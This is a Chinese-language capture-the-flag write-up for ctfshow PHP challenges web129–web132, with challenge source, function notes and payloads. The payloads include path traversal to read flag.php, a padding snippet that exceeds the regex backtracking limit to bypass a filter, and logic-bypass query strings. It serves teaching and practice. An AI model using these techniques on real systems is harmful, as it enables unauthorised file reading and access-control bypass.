web129
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 03:18:40
*/
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
知识点:
PHP readfile() 函数
定义和用法
readfile() 函数输出一个文件。
该函数读入一个文件并写入到输出缓冲。
若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。
语法
readfile(filename,include_path,context)
参数 | 描述 |
---|---|
filename | 必需。规定要读取的文件。 |
include_path | 可选。如果也想在 include_path 中搜索文件,可以使用该参数并将其设为 true。 |
context | 可选。规定文件句柄的环境。Context 是可以修改流的行为的一套选项。 |
PHP stripos() 函数
实例
查找 "php" 在字符串中第一次出现的位置:
<?php echo stripos("You love php, I love php too!","PHP"); ?>
输出:9
payload:?f=/ctfshow/../../../../var/www/html/flag.php
web130
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 05:19:40
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
这道题目没啥好说的,直接
?f=ctfshow拿下了
因为if(stripos($f, 'ctfshow') === FALSE){这里肯定要等于ctfshow啊,不然怎么匹配到呢,既然匹配到了,那就是true就进行了绕过
web131
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 05:19:40
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
知识点:
正则表达式溢出
正则表达式溢出是由于在匹配特定的输入模式时,正则表达式引擎发生了异常行为或反应迟缓。例如下面的正则表达式可能导致溢出:
^(a+)+$
这里直接:
#payload:
<?php
echo str_repeat('very', '250000').'36Dctfshow';
#post发送过去就OK
其实题目已经告诉你答案了。
web132
逆天界面,不过见到这种大致就两步走:
1.ctrl+U查看有没有提示
2.御剑扫描
这里也是扫出来了robots.txt然后访问/admin
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 06:22:13
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 20:05:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
解析:
有没有发现啊,$code === mt_rand(1,0x36D)这里完全的随机数,
所以直接让他报错,我满足后面的就好了 if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
直接code=admin
payload:?password=flag&username=admin&code=admin
真心希望我的文章能够帮助大家,谢谢!